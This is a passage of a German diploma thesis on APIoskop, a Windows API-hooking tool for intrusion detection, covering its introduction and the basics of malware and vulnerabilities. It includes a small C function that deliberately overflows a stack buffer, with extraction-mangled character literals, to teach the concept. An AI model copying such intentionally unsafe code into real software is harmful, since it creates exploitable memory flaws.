Fachbereich Informatik. APIoskop: API-Hooking for Intrusion Detection

Größe: px
Ab Seite anzeigen:

Download "Fachbereich Informatik. APIoskop: API-Hooking for Intrusion Detection"

Transkript

1 Fachbereich Informatik Diplomarbeit APIoskop: API-Hooking for Intrusion Detection Markus Engelberth 03. September 2007 Erstprüfer : Prof. Dr. Felix C. Freiling Zweitprüfer: Prof. Dr. Christian Bischof Betreuer: Thorsten Holz

2

3 Hiermit versichere ich, dass ich die Arbeit selbständig verfasst und keine anderen als die angegebenen Quellen und Hilfsmittel benutzt sowie Zitate kenntlich gemacht habe. Windeck, den 03. September 2007 Markus Engelberth

4

5 Abstract While running an application, the user can only see what happens on the outside. However, many operations are hidden, for example, how the application interacts with the operating system, which files are involved, or whether there is some sort of data exchange via a possible network connection. In a nutshell, all activities which take place in the background of an application are invisible for its user. This lack of transparency can be dangerous if applications carry out harmful operations unnoticeably, as, for example, in the case of malware. Within the scope of this diploma thesis, the program APIoskop was developed and implemented. It is supposed to uncover these inner procedures of an application and make them transparent. For the performance of the work they are meant for, Windowsbased applications often make use of the Windows API. This is an interface which is provided by Windows for applications to carry out system-level operations. APIoskop uses the API-Hooking method in order to track Windows API calls by other applications. Furthermore, APIoskop presents all the information which is gained in this way clearly and coherently. Zusammenfassung Während der Ausführung einer Anwendung wird nur dessen nach außen sichtbares Verhalten wahrgenommen. Wie diese Anwendung aber beispielsweise mit dem Betriebsystem zusammenarbeitet, welche Dateien sie liest oder ob sie über ein möglicherweise angeschlossenes Netzwerk Daten verschickt oder empfängt, bleibt normalerweise im Verborgenen. Kurz gesagt: Alle Aktivitäten, welche im Hintergrund einer Anwendung ablaufen, sind für deren Benutzer nicht sichtbar. Gefährlich wird diese fehlende Transparenz, wenn Anwendungen unbemerkt schadhafte Handlungen ausführen, wie dies zum Beispiel bei Malware der Fall ist. Im Rahmen dieser Diplomarbeit wurde das Programm APIoskop entwickelt und implementiert, welches diese inneren Abläufe einer zu überwachenden Anwendung transparent und sichtbar machen soll. Zur Durchführung der ihnen zugedachten Arbeit machen Windowsanwendungen häufig Gebrauch von der Windows API. Dies ist eine Schnittstelle, welche von Windows angeboten wird, damit Anwendungen systemnahe Operationen durchführen können. APIoskop setzt die API-Hooking-Technik ein, um so Funktionsaufrufe der Windows API durch andere Anwendungen zu registrieren. Des Weiteren werden die auf diese Weise gesammelten Informationen dem Benutzer von APIoskop übersichtlich und verständlich präsentiert.

6

7 Inhaltsverzeichnis Abbildungsverzeichnis Tabellenverzeichnis xi xiii 1. Einführung Motivation Aufgabenstellung APIoskop Resultate Gliederung der Diplomarbeit Danksagung Grundlagen der Computersicherheit Malware Viren Würmer Bots Trojanische Pferde Backdoor-Programme Spyware Rootkits Schwachstellen Beispiel für eine Schwachstelle Ausnutzen von Schwachstellen Intrusion Detection Ansatzpunkte für IDS Host-basierte IDS Netzwerk-basierte IDS IDS-Komponenten Bekannte IDS Related Work Zusammenfassung Windowsgrundlagen und API-Hooking Das PE-Dateiformat Windows API und Native API Native API Aufrufketten API-Hooking vii

8 Inhaltsverzeichnis Einsatzmöglichkeiten Generelle Überlegungen zum Hooking API-Hooking im Detail DLL Injektion Installation der Hooks Hooking im Kernelmodus Zusammenfassung APIoskop Funktionen Arbeitsweise von APIoskop Benutzeroberfläche Prozessauswahl Ausgabeliste Datenansicht Einstellungen Auswahl von Office-Dokumenten Implementierung Interprozesskommunikation Benachrichtigungsformat Die Funktion Log Parameterübergabe Hook-Funktionen Initialisierungsabschnitt der HookLibrary ReadFile RecvFrom CreateProcess Vom Socket zum Hostnamen Vom Keyhandle zum Schlüsselnamen Fernsteuerung der Office-Anwendungen Zusammenfassung Resultate Beispiellauf Performance-Messungen Ladezeiten von Internetseiten Öffnen von Word-Dokumenten Zusammenfassung Zusammenfassung und Future Work Future Work Zusammenfassung A. Gehookte Funktionen 95 A.1. Dateisystemfunktionen A.2. Netzwerkfunktionen A.3. Registryfunktionen A.4. Prozessfunktionen viii

9 Inhaltsverzeichnis B. Kommentarerklärungen 99 B.1. OpenFile B.2. NtCreateFile B.3. CreateFile B.4. Funktionen zum Empfangen von Datagrammen Bibliography 102 ix

10 Inhaltsverzeichnis x

11 Abbildungsverzeichnis 2.1. Stack Overflow NIDS (rötlich) und HIDS (bläulich) Das PE-Dateiformat Die wichtigsten DLLs der Windows API im Zusammenhang Aufrufkette der Funktion RegSetValueA Inline Hooking: (a) vor dem Setzen des Hooks und (b) danach Funktionsweise von APIoskop Hauptfenster von APIoskop Prozessauswahl Datenansicht Einstellungsfenster Dialog zum Auswählen von Office-Dokumenten Interprozesskommunikation zwischen APIoskop und der HookLibrary Funktion Log Initialisierung der HookLibrary Funktion ReadFile_Callback Funktion RecvFrom_Callback Funktion CreateProcessW_Callback Vom Socket zum Hostnamen Datenstruktur zur Zuordnung von Schlüsselname zu Keyhandle Online Malware Scan der Datei a.exe Durchschnittliche Ladezeiten mit und ohne APIoskop (in Sekunden) Durchschnittliche Dauer zum Öffnen von Word-Dokumenten (in ms) xi

12

13 Tabellenverzeichnis 4.1. Informationen in der Ausgabeliste Nachrichtenformat von APIoskop Datentyp für die Parameterübergabe Interface der API-Funktion ReadFile Interface der API-Funktion RecvFrom Interface der API-Funktion CreateProcess Ladezeiten ohne APIoskop (in Sekunden) Ladezeiten bei Überwachung durch APIoskop (in Sekunden) Dauer zum Öffnen von Word-Dokumenten (in ms) xiii

14

15 Kapitel 1. Einführung Mit der raschen Expansion des Internets in den letzten Jahren ergeben sich immer mehr neue Wege zur Softwareverbreitung. Neben gewöhnlichen Downloads existiert auch die Möglichkeit, Software per , Tauschbörsen oder Messengerprogrammen in Umlauf zu bringen. Diese Verbreitungswege haben auch Programmierer von Malware für sich entdeckt, so dass in den letzten Jahren eine steigende Anzahl von Malware zu verzeichnen ist. Zudem bietet diese zunehmende Vernetzung der Computer den Autoren die Chance, Schadprogramme zu schreiben, die sich vollständig autonom und rasend schnell verbreiten. Der im Jahre 2000 freigesetzte Computerwurm LoveLetter, der sich per E- Mail verbreitete und seine Empfänger mit einer angeblichen Liebeserklärung köderte, erreichte beispielsweise am ersten Tag seines Auftretens bereits mehrere Millionen Empfänger. Neben der offensichtlichen Tatsache, dass Computerbenutzer keine Programme wünschen, die eine unerwünschte Funktionalität besitzen, entstehen dem Benutzer durch Malware noch weitere Unannehmlichkeiten. Da diese Schadprogramme an sich auch normale Anwendungen sind, binden sie bei ihrer Ausführung und Verbreitung natürlich auch Ressourcen. So benötigen sie zum Beispiel CPU-Zeit, belegen Platz auf der Festplatte und im Arbeitsspeicher oder mindern die Bandbreite der angeschlossenen Netzwerke. All diese Ressourcen stehen einem Computerbenutzer für seine eigentliche Arbeit am PC dann nicht mehr zur Verfügung. Abgesehen davon, dass Malware in unerwünschter Weise Ressourcen bindet, richten diese Schadprogramme auch enormen wirtschaftlichen Schaden an. Schätzungsweise verursachte der LoveLetter Wurm, durch ausgefallene Systeme, einen Schaden von ca. 3 Milliarden Euro [nt05]. Aber auch Heimanwendern entsteht ein finanzielles Risiko durch Malware. Oftmals versucht diese Art von Programmen, auch private Daten auszuspionieren, wie zum Beispiel Bankdaten oder Kreditkarteninformationen. Im Laufe der Jahre hat sich ein regelrechter Wirtschaftszweig um den Bereich der Malware gebildet. Neben Firmen, welche Anti-Malware-Lösungen, beispielsweise Virenscanner oder Firewalls anbieten, existieren auch Firmen, die gezielt Malware benutzen, um ihre Marktchancen und Gewinne zu verbessern. Dies geschieht etwa durch das Ausspionieren des Surfverhaltens von Benutzern, damit diesen gezielt auf sie zugeschnittene Werbung angeboten werden kann. All dies macht Malware zu einer ernstzunehmenden Bedrohung, welche einen immer grösseren Stellenwert im Bereich der Computersicherheit einnimmt. 1

16 Kapitel 1. Einführung Auch ganz aktuell steht das Thema Malware im Blickpunkt der Öffentlichkeit. Vor wenigen Wochen ist bekannt geworden, dass das Bundeskriminalamt im Rahmen des Programms zur Stärkung der Inneren Sicherheit Online-Durchsuchungen 1 durchführen möchte. Diese sollen durch einen Trojaner realisiert werden, welcher per verschickt wird. Wenige Tage später wurde ein weiterer Fall 2 öffentlich, der einen Bezug zu dem Thema der Diplomarbeit hat: Die Bundesregierung ist selbst das Opfer einer Spionage-Attacke geworden. Auf zahlreichen Computern des Kanzleramts wurden Trojaner gefunden, welche vermutlich aus China kommen Motivation In Anbetracht der wirtschaftlichen Risiken und der mit Malware verbundenen Systembelastung, ist es nicht schwer nachvollziehbar, dass die meisten Benutzer keine Malware auf ihrem Rechnersystem installiert haben wollen. Aus diesem Grund lassen sich die Autoren der Schadprogramme immer neue und immer raffiniertere Techniken einfallen, wie sie ihre Anwendungen versteckt auf einen Zielrechner transportieren können. In den meisten Fällen geschieht dies ohne Zustimmung und Wissen des Computerbenutzers. Häufig werden Schwachstellen in Programmen ausgenutzt, um diese zu exploiten und somit ein System zu kompromittieren. Dazu wird fremder Code in ein solches Programm eingeschleust, ohne dass der Benutzer etwas davon merkt. Dieser Code besitzt im Allgemeinen eine Funktionalität, die vom Benutzer des Programms nicht erwünscht ist, wie zum Beispiel das Löschen von Dateien, die Umgehung von installierten Sicherheitsmechanismen, das Weiterleiten von vertraulichen Informationen an nicht autorisierte Dritte oder eben das Installieren von weiterer Malware. Beispielsweise kann in Microsoft Powerpoint durch das Öffnen einer auf diesen Zweck hin präparierten Präsentation eine Schwachstelle ausgenutzt werden, um gezielt Spyware einzuschleusen (siehe beispielsweise Viele weitere solcher Client-side Exploits, dies sind kleine Programme, die Schwachstellen in lokalen Anwendungen ausnutzen, wurden in den letzten Monaten veröffentlicht. Diese stellen eine Gefahr innerhalb des Internets dar Aufgabenstellung Wegen dieser Gefahr soll im Rahmen dieser Diplomarbeit ein Programm entwickelt werden, welches dynamische Prozesse unter Windows überwacht und einen Teil deren Aktivitäten protokolliert. Sinn dieses Programms ist es, Anomalien von anderen Programmen zu entdecken. Um dies zu realisieren, soll durch das zu entwickelnde Programm das Verhalten der anderen Programme transparent gemacht werden, da sich dieses Verhalten durch den eingeschleusten, fremden Code ändert. Auf diese Weise sollen mögliche Zero- Day-Angriffe, d.h. Angriffe auf neu entdeckte Schwachstellen, für die es noch keinen

17 1.3. APIoskop Patch gibt, erkannt werden. In letzter Zeit werden solche Angriffe bei Angreifern immer beliebter. Häufig erstellen diese gezielt und unmittelbar nach dem Bekanntwerden von Schwachstellen in Office-Anwendungen präparierte Office-Dokumente, welche sie per verbreiten APIoskop Damit sich Benutzer vor Malware schützen können, müssen auch die Autoren der Anti- Malware-Programme zu immer ausgeklügelteren und raffinierteren Techniken greifen. Das in dieser Diplomarbeit entwickelte Programm realisiert die Überwachung der dynamischen Prozesse durch eine Technik, welche sich API-Hooking nennt. Durch diese Technik ist es möglich, Aufrufe von API-Funktionen anderer Programme abzufangen und auf eigene Funktionen umzulenken. Wegen dieser verwendeten Technik, hat das hier entwickelte Tool den Namen APIoskop erhalten. Der Name ist angelehnt an den Namen eines medizinisches Geräts das Endoskop. Mit einem Endoskop können Ärzte das Innere eines Körpers untersuchen. Und da das in der Zeit der Diplomarbeit erstellte Programm die API-Aufrufe fremder Programme überwacht, entstand so der Name APIoskop. APIoskop nutzt die API-Hooking-Technik, um das innere Verhalten und die normalerweise nicht erkennbaren Aktivitäten des zu überwachenden Programms sichtbar zu machen und diese dem Benutzer zu präsentieren. Überwacht werden unter anderem Aktivitäten und Funktionen aus folgenden Funktionsbereichen: Änderungen am Dateisystem: Welche Dateien und Verzeichnisse werden von dem Zielprogramm erstellt oder gelöscht? Dabei werden auch die Änderungen am Dateisystem protokolliert, die nach der Ausführung des Fremdcodes nicht mehr sichtbar sind, wie z.b. das zwischenzeitliche Erstellen einer temporären Datei, die kurze Zeit später wieder gelöscht wird. Änderungen an der Windows-Registry: Welche Schlüssel und Werte werden vom zu überwachenden Programm erstellt, gelesen oder gelöscht? Kommunikation mit anderen Rechnern in angeschlossenen Netzwerken: Öffnet das Zielprogramm eine Verbindung und verschickt Daten an andere Rechner? Oder werden Daten von einem anderen Rechner empfangen? Insbesondere ist es hier interessant zu wissen, ob Daten ins oder aus dem Internet geschickt werden. Prozessverwaltung: Erstellt das zu überwachende Programm weitere Prozesse oder beendet es andere Prozesse? Falls es weitere Prozesse erstellt, so werden diese automatisch auch auf die hier genannten Aktivitäten hin überwacht. 3

18 Kapitel 1. Einführung 1.4. Resultate Wie eine Überwachung mit APIoskop ablaufen kann, zeigt das fünfte Kapitel. Dort wird beispielhaft eine Überwachung des Internet Explorers von Microsoft durchgeführt. Während der Überwachung wird mit diesem Browser eine infizierte HTML-Datei geöffnet. An den durch APIoskop gesammelten Informationen über die API-Aufrufe des Internet Explorers lässt sich sehr gut erkennen, welche Aktivitäten er im Zuge der Dateiöffnung durchführt: Er lädt eine ausführbare Datei herunter und bringt diese zur Ausführung. Nach eine Überprüfung mittels einen Online Malware Scanners stellte sich diese Datei als ein Keylogger heraus, dessen Aktivitäten selbst wieder durch APIoskop sichbar gemacht werden. Die genauen Resultate und auch die registrierten Funktionsaufrufe finden sich in Kapitel 5.1. Des Weiteren stellte sich durch Performance-Messungen heraus, dass die Performance des Zielprogramms durch eine Überwachung der Registry-Funktionen spürbar sinkt. Wird stattdessen nur ein Teil der zur Überwachung angebotenen Registry-Funktionen gehookt, so fällt dieser Performanceverlust wesentlich geringer aus. Hingegen ergab eine Überwachung des Browsers Mozilla Firefox, dass das Laden von Internetseiten durch eine Überwachung per APIoskop kaum beeinflusst wird Gliederung der Diplomarbeit Die gesamte Diplomarbeit ist in fünf Kapitel unterteilt. Zu Beginn eines jeden Kapitels werden dessen Inhalte in einer kurzen Einführung vorgestellt. Eine Zusammenfassung bildet jeweils das Ende der Kapitel. In dieser werden die wichtigsten Punkte des entsprechenden Kapitels noch einmal kurz hervorgehoben. Nach einer kurzen Einführung durch das erste Kapitel folgt das zweite Kapitel. In diesem werden grundlegende Begriffe aus dem Bereich der Computersicherheit vorgestellt und beschrieben. Am Anfang des Kapitels werden verschiedene Arten von Malware erläutert und erklärt, wie sich diese voneinander unterscheiden. Viele Malwarearten nutzen Schwachstellen in Anwendungen aus, um in ein fremdes Rechnersystem einzudringen und sich so zu verbreiten. Der Begriff der Schwachstelle wird in einem weiteren Unterkapitel erläutert. Anschließend behandelt dieses Kapitels sogenannte Intrusion Detection Systeme. Dies sind Werkzeuge, die einen Benutzer dabei unterstützen, solch ein Eindringen zu erkennen. Der Schluss dieses Kapitels stellt einige Tools vor, die APIoskop ähnlich sind. Da APIoskop für den Gebrauch auf Windowssystemen entwickelt wurde, behandelt das dritte Kapitel Grundlagen von Windows. Zudem wird eine Technik vorgestellt, welche eine zentrale Rolle bei der Implementierung von APIoskop spielt - das API-Hooking. Unter Windows sind alle ausführbaren Dateien nach dem Portable Executable File Format strukturiert, mit welchem sich das erste Unterkapitel beschäftigt. Anschließend wird mit der Windows API eine Programmierschnittstelle beschrieben, die Windows Programmierern zur Verfügung stellt, um systemnahe Operationen durchführen zu lassen. Abschließend wird in diesem Kapitel das API-Hooking betrachtet. Dies ist eine Technik, 4

19 1.6. Danksagung mit der es möglich ist, Funktionsaufrufe der Windows API abzufangen und auf eigene Funktionen umzulenken. Das wohl wichtigste Kapitel dieser Diplomarbeit stellt Kapitel Vier dar, denn in diesem wird APIoskop genau beschrieben. Dazu werden als erstes die Funktionen beziehungsweise die Möglichkeiten von APIoskop genannt, welche dieses seinen Benutzern anbietet. Anschließend folgt in diesem Kapitel eine Skizzierung der Funktionsweise von APIoskop, um danach dessen Benutzeroberfläche vorzustellen. Dabei werden alle möglichen Fenster dieser graphischen Schnittstelle gezeigt und deren Elemente beschrieben. Nach der Beschreibung der Benutzeroberfläche folgt das zweite große Unterkapitel. Dieses hat die Implementierung von APIoskop zum Thema. Neben einer Beschreibung der Hook-Funktionen und einem Unterkapitel, welches sich mit der Fernsteuerung von Office- Anwendungen beschäftigt, wird hier auch umfangreich auf die verwendete Methode der Interprozesskommunikation eingegangen. Das fünfte Kapitel widmet sich den Resultaten von APIoskop. Da mit einem Tool wie APIoskop keine Resultate im Sinne von messbaren Kenngrößen erzielt werden können, wird in diesem Kapitel ein Beispiellauf von APIoskop präsentiert. Zudem wurden einige Messungen durchgeführt, die zeigen, in welchem Umfang eine Überwachung durch APIoskop die Performance der überwachten Anwendungen beeinflusst. Das abschließende Kapitel Sechs fasst die wesentlichen Punkte der Diplomarbeit noch einmal zusammen. Zudem bietet es einen Ausblick darüber, welche Änderungen und Erweiterungen in Zukunft für APIoskop geplant sind Danksagung Mein erster Dank geht an Prof. Dr. Freiling, welcher mir die Möglichkeit gab, eine Diplomarbeit zu einem solch interessanten Thema zu schreiben. Zudem freute mich dies besonders, da er erst kurz vor dem Ende meiner Studienzeit einen Lehrstuhl an der Universität in Mannheim übernommen hat, und ich dennoch meine letzte Diplomprüfung bei ihm ablegen durfte. Des Weiteren möchte ich mich bei Prof. Dr. Bischof bedanken, welcher ohne jegliches Zögern zugestimmt hat, mein Zweitprüfer zu werden. Im gleichen Maße danke ich auch Thorsten Holz, der mich trotz seiner eigenen Arbeiten bei der Erstellung meiner Diplomarbeit betreut hat. Zudem gilt ihm mein Dank, da er mir für das Testen von APIoskop speziell präparierte HTML-Dateien zur Verfügung gestellt hat. Bei der Implementierung von APIoskop, war mir das Buch Windows NT/ Native API Reference [Neb00] eine grosse Hilfe, welches ich durch Carsten Willems erhalten habe. Zum Schluss danke ich auch meinem Vater Gerd Engelberth und meinem Freund Michael Singer, die in der Endphase dieser Diplomarbeit viel Zeit für das Korrekturlesen aufgebracht haben. 5

20 Kapitel 1. Einführung 6

21 Kapitel 2. Grundlagen der Computersicherheit Da sich die Diplomarbeit mit vielen Aspekten der Computersicherheit beschäftigt, werden in diesem Kapitel grundlegende Begriffe aus diesem Bereich vorgestellt und beschrieben. Dieses Kapitel soll dem Leser näher bringen, welche möglichen Gefahren im Bereich der Computer existieren, wie diese aussehen und wodurch sie verursacht werden. Außerdem soll es dazu beitragen, dass der Leser den Sinn und Zweck hinter einem Tool wie APIoskop besser versteht. Eine dieser möglichen Gefahren ist Malware. Eine kurze Einführung zu dieser schadhaften Software bietet Unterkapitel 2.1. Dieses fängt mit einer generellen Beschreibung von Malware an, und anschließend werden verschiedene Kategorien von Malware vorgestellt und charakterisiert. Obwohl eine klare Einteilung in diese Kategorien nicht so einfach ist, werden die wichtigsten Eigenschaften der einzelnen Arten von Malware erläutert. Das anschließende Unterkapitel 2.2 geht auf den Begriff der Schwachstelle ein. Schwachstellen sind Fehler in Programmen und gleichzeitig die häufigste Ursache dafür, dass sich Malware auf einem Computer installieren kann. Außerdem wird der Begriff der Schwachstelle an einem kleinen Beispiel veranschaulicht, und es wird erklärt, wie der übliche Weg aussieht, um Schwachstellen auszunutzen. Falls es passieren sollte, dass ein Angreifer, beispielsweise durch das Ausnutzen einer Schwachstelle, in das System eindringt, so wäre es wünschenswert, dies schnell zu erkennen. Es existieren Werkzeuge, welche unter dem Begriff Intrusion Detection Systeme zusammengefasst werden und deren Ziel es ist, das Erkennen eines Einbruchs (Intrusion Detection) zu unterstützen. Mit dieser Einbruchserkennung beschäftigt sich Unterkapitel 2.3. Abschließend werden einige Tools vorgestellt, die eine Ähnlichkeit zu APIoskop aufweisen. Diese Ähnlichkeit bezieht sich neben der Funktionalität auch auf die verwendeten Techniken der Tools, welche zu deren Umsetzung benutzt wurden Malware Der Begriff Malware setzt sich aus den beiden englischen Wörtern malicious (dt. böswillig) und software zusammen. Als Malware werden somit Computerprogramme bezeichnet, die teilweise oder ausschließlich eine unerwünschte und schädliche Funktionalität 7

22 Kapitel 2. Grundlagen der Computersicherheit besitzen. Mögliche Schadfunktionen von Malware können zum Beispiel das Löschen von Dateien oder die Umgehung von installierter Sicherheitssoftware sein. Eine ebenfalls weit verbreitete und vom Computerbenutzer unerwünschte Funktionalität von Malware ist das Lesen und Verschicken von Daten an Dritte, die dadurch unautorisierte Einsicht in diese Informationen ermöglicht bekommen. Häufig ist der Empfänger der Daten der Malwareprogrammierer selbst. Ein dazu passendes, konkretes Beispiel wäre ein Programm, das die Tastatureingaben eines ahnungslosen Benutzers mitprotokolliert und diese dann in regelmäßigen Abständen über das Internet an eine dritte Person verschickt, mit dem Ziel, an Passwörter oder Kreditkarteninformationen zu gelangen. Meist ist Malware so programmiert, dass diese schadhafte Funktionalität dem Benutzer eines Computers verborgen bleibt und ohne dessen Einwilligung zur Ausführung kommt. Das Entfernen von Malware ist normalerweise mit einem hohen Aufwand verbunden, da sie sich sehr tief in das Computersystem einnistet. So lassen sich nur äußerst mühsam alle Teile dieser schädlichen Software entfernen. Oft bleiben Malwarefragmente nach der Entfernung im System zurück und können immer noch Schaden anrichten. Die Entfernung wird zusätzlich noch dadurch erschwert, dass verschiedene Malwarearten ihre Bestandteile vor dem Benutzer und vor dem System verstecken. Dies ist beispielsweise dadurch möglich, dass fremder Code in die Abarbeitung eines Systembefehls geschleust wird, der dafür sorgt, dass dieser Systembefehl die zu versteckenden Objekte ignoriert. Der Systembefehl FindNextFile liefert die nächste Datei eines Verzeichnisses. Zum Beispiel kann Malware den Befehl so verändern, dass, wenn die nächste Datei in einem Verzeichnis hidden.exe ist, der manipulierte Systembefehl diese überspringt und die übernächste Datei zurückliefert. Unter dem Begriff Malware werden mehrere Arten von Software zusammengefasst. Gemein ist ihnen die schadhafte Funktionalität, aber dennoch können sie nach ihrer Funktionsweise, dem Sinn und Zweck ihrer Ausführung und nach der Art ihrer Ausbreitung unterschieden werden. Meist fällt diese Unterscheidung aber sehr schwer, und der Übergang von einer Variante zur nächsten Variante von Malware ist fließend, da Malware einer Kategorie oft auch Eigenschaften einer anderen Kategorie aufweist. Im Folgenden werden die am häufigsten anzutreffenden Arten von Malware kurz vorgestellt. Die Liste der hier vorgestellten Malwarearten ist aber keineswegs vollständig, reicht aber für dieses Grundlagenkapitel aus. Eine gute Übersicht bietet das Buch Malware: Fighting Malicious Code [ulz03] Viren Die Einteilung eines Programms in die Kategorie Virus geschieht nach der Verbreitungsweise des Programms. Viren verbreiten sich durch die Weitergabe von infizierten Dateien durch den Benutzer. Viren benötigen ein Wirtsprogramm und sind selbstreproduzierend, d.h. wird ein infiziertes Programm gestartet, so wird der Virus aktiv und sucht nach anderen Programmdateien auf dem Rechner und kopiert sich selbständig in diese, so dass diese dann ebenfalls infiziert sind. Zum einen existieren anhängende Viren, die sich an die Programmdatei anhängen. Dadurch behält das Wirtsprogramm seine Funktionalität, 8

23 2.1. Malware jedoch verändert sich bei dieser Infektionsmethode die Dateigröße, was zu einer leichteren Erkennung der Infektion führt. Zum anderen gibt es überschreibende Viren, d.h. der Programmcode wird vom Schadcode überschrieben. Daraus resultiert eine schwerere Erkennbarkeit, aber auch, dass das Wirtsprogramm seine Funktionalität verliert. Insgesamt gibt es viele Arten von Viren. So existieren z.b. Bootviren, Dateiviren, Makroviren, Scriptviren, usw Würmer Würmer sind genau wie Viren ebenfalls selbstreproduzierend, benötigen aber kein Wirtsprogramm, sondern sind selbst ein vollständig ausführbares Programm. Die Klassifizierung als Wurm richtet sich ebenfalls nach der Verbreitungsweise. Da Würmer selbstständige Programme sind, sind sie nicht auf die Weitergabe durch einen Benutzer angewiesen. Würmer verbreiten sich, indem sie in Netzwerken nach Rechnern suchen, die verwundbare Dienste anbieten. Der Wurm nutzt dann eine Schwachstelle dieses Dienstes aus, um eine Kopie von sich selbst auf diesen Rechner zu transferieren und diese dort zu starten. Durch diese Technik verbreiten sich Würmer sehr schnell und unkontrolliert Bots Als Bot bezeichnet Malware, welche einem Angreifer erlaubt, einen infizierten Rechner fernzusteuern. Diese Form der Malware führt selbstständig keine schadhaften Aktivitäten aus, sondern wartet auf Befehle, welche sie über angeschlossene Netzwerke erteilt bekommt. Eine besondere Gefahr geht von Bots aus, wenn sich diese in einem Botnet befinden. Ein Botnet ist ein Verbund, bestehend aus einer Vielzahl durch Bots infizierter Rechner. Diese sind über einen sogenannten Command&Control-Server verbunden, welcher wiederum unter der Kontrolle eines Angreifers ist, der in solch einer Situation Operator genannt wird. Über den Command&Control-Server kann der Operator den Bots seines Botnets Befehle zukommen lassen, so dass diese alle gleichzeitig eine schadhafte Aktivität ausführen. Oft werden Botnets zur Spamverbreitung oder für Distributed- Denial-of-Service-Attacken (DDoS-Attacke) genutzt. Eine DoS-Attacke ist ein Angriff auf einen Rechner mit dem Ziel, einen von diesem angebotenen Dienst arbeitsunfähig zu machen. Als DDoS-Attacke bezeichnet man dementsprechend eine Vielzahl von DoS- Attacken, die gleichzeitig auf einen Zielrechner gestartet werden Trojanische Pferde Das charakteristische Merkmal eines Trojanischen Pferdes ist, dass dem Benutzer ein Programm geboten wird, welches eine nützliche Funktionalität besitzt, aber zusätzlich noch weitere (oftmals schädliche) Funktionen ausführt, von deren Existenz der Benutzer aber vor dem Start keine Kenntnis besitzt. Sie verbreiten sich dadurch, dass ein Benutzer ein Programm mit dem Trojanischen Pferd an andere Benutzer weitergibt, z.b. durch Weitergabe von Datenträgern oder durch Tauschbörsen. Trojanische Pferde sind also nicht selbstreproduzierend. Die Verbreitungsgeschwindigkeit hängt im Wesentlichen von 9

24 Kapitel 2. Grundlagen der Computersicherheit der Nützlichkeit und Attraktivität der bekannten Programmfunktionalität ab Backdoor-Programme Sind einmal Backdoor-Programme auf einem kompromittierten Rechner installiert, so ermöglichen sie einem Angreifer, auf einfache Art und Weise und unter Umgehung der existierenden Sicherheitsmechanismen mit dem Rechner Kontakt aufzunehmen und ihn für seine Zwecke zu missbrauchen. Solche Zwecke könnten beispielsweise das Versenden vom Spam-Mails sein oder die Benutzung des Computers zur Durchführung einer DoS- Attacke. Meist werden diese Hintertüren mithilfe von Trojanischen Pferden, Würmern oder Viren auf den Zielrechner geschleust Spyware Das Ziel von Spyware ist es, persönliche Daten vom Computerbenutzer zu sammeln und diese unbemerkt an jemand Dritten zu verschicken. Sinn dieser Aktion soll sein, auf diese Weise möglichst viele Informationen über den Benutzer zu sammeln, um diese dann kommerziell zu nutzen. So kann beispielsweise das Surfverhalten im Internet dazu genutzt werden, um dem Benutzer gezielt auf ihn zugeschnittene Werbung zu präsentieren. Spyware ist nicht selbstreproduzierend und kommt meist versteckt in anderen Programmen auf den Rechner (siehe Trojanische Pferde) Rootkits Unter dem Begriff Rootkit versteht man eine Sammlung von Werkzeugen (engl. kit), die dazu dienen, Administratorrechte auf einem System zu erhalten. Unter UNIX ist der Benutzer Root ein Systemadministrator mit den höchsten Privilegien. Häufig stellen Rootkits auch Tools zur Verfügung, die es erlauben, beliebige Objekte auf dem Computer zu verstecken, wie zum Beispiel Netzwerkverbindungen, Dateien oder auch ganze Prozesse. Aus diesem Grund kommen Rootkits oft in Verbindung mit anderen Arten von Malware zum Einsatz Schwachstellen Als Schwachstelle bezeichnet man Sicherheitslücken in einer Software. Dies sind Programmfehler und sie können unterschiedlicher Natur sein und unterschiedliche Ursachen haben. So kann es sein, dass die Software einfach nur fehlerhaft implementiert wurde oder aber bei deren Entwurf nicht alle möglichen Programmzustände berücksichtigt wurden. Während des Programmablaufs könnte dann ein logischer Zustand erreicht werden, in dem sich einem Benutzer ungewollte und nicht bedachte Möglichkeiten bieten, die dieser eigentlich nicht haben dürfte. In einem denkbar ungünstigen Fall erhält der Benutzer so beispielsweise höhere Privilegien als ihm eigentlich zustehen. Schwachstellen können aber auch durch die Verwendung einer Programmiersprache entstehen, deren Befehle 10

25 2.2. Schwachstellen sicherheitsrelevante Risiken in sich bergen. Ein Beispiel ist der Befehl strcpy der Programmiersprache C, welcher zwei Adressen von Zeichenketten übergeben werden. strcpy kopiert den Inhalt der Quell-Zeichenkette Zeichen für Zeichen in die Ziel-Zeichenkette und hört erst damit auf, wenn der Befehl in der Quell-Zeichenkette das Null-Zeichen liest, welches das Ende der Zeichenkette signalisiert. Bei dem Kopieren der Zeichen überprüft strcpy jedoch nicht, wie viele Zeichen die Ziel-Zeichenkette aufnehmen kann, so dass strcpy bei einer längeren Quell- als Ziel-Zeichenkette die Speicherbereiche hinter der Ziel-Zeichenkette überschreibt. Aber nicht nur Benutzer können solche Schwachstellen ausnutzen. Auch andere Programme können gezielt Schwachstellen einer Software ausnutzen. Häufig verbreitet sich Malware, insbesondere Würmer, so, dass sie Rechner in angeschlossenen Netzwerken suchen, die eine Schwachstelle in einem angebotenen Netzwerkdienst aufweisen. Durch diese Schwachstelle bringen sie den fremden Rechner dazu, eine Kopie von ihnen zu laden und diese zur Ausführung zu bringen. Die betroffenen Rechner sind dann selbst infiziert, und von dort aus suchen die gestarteten Wurminstanzen dann ebenfalls nach Rechnern mit Schwachstellen Beispiel für eine Schwachstelle Als Beispiel soll hier eine kleine Funktion dienen, die in der Programmiersprache C geschrieben wurde: C ist weitaus mehr auf die Performance als auf Sicherheit ausgelegt, und teilweise werden Grenzen von Speicherbereichen gar nicht oder nur unvollständig überwacht. Daraus resultiert eine der in den letzten Jahren am häufigsten auftretenden Schwachstelle: der Buffer Overflow. Diese Schwachstelle hat zur Folge, dass ein Buffer zum Überlauf gebracht werden kann. Durch diesen Überlauf ist es möglich, nachfolgende Speicherbereiche mit beliebigem Code zu überschreiben. Zur Veranschaulichung dient folgende Funktion: void Beispiel() { char a[8]; char b[6]; } strcpy(a, "fleckig"); b[6] = d ; b[7] = r ; return; Die Funktion besitzt zwei lokale Array-Variablen: a der Länge 8 und b der Länge 6. Entscheidend bei diesem Beispiel ist, dass beim Funktionsaufruf die Variable b vor der Variablen a auf den Stack abgelegt wird. Veranschaulicht wird dieses Beispiel in der Abbildung 2.1. Durch die fehlende Überprüfung der Buffergrenze von b wird beim Schreiben der Zeichen, die außerhalb der eigentlichen Länge bzw. Grenze von b liegen, der dahinter liegende Speicherbereich einfach überschrieben. Daraus 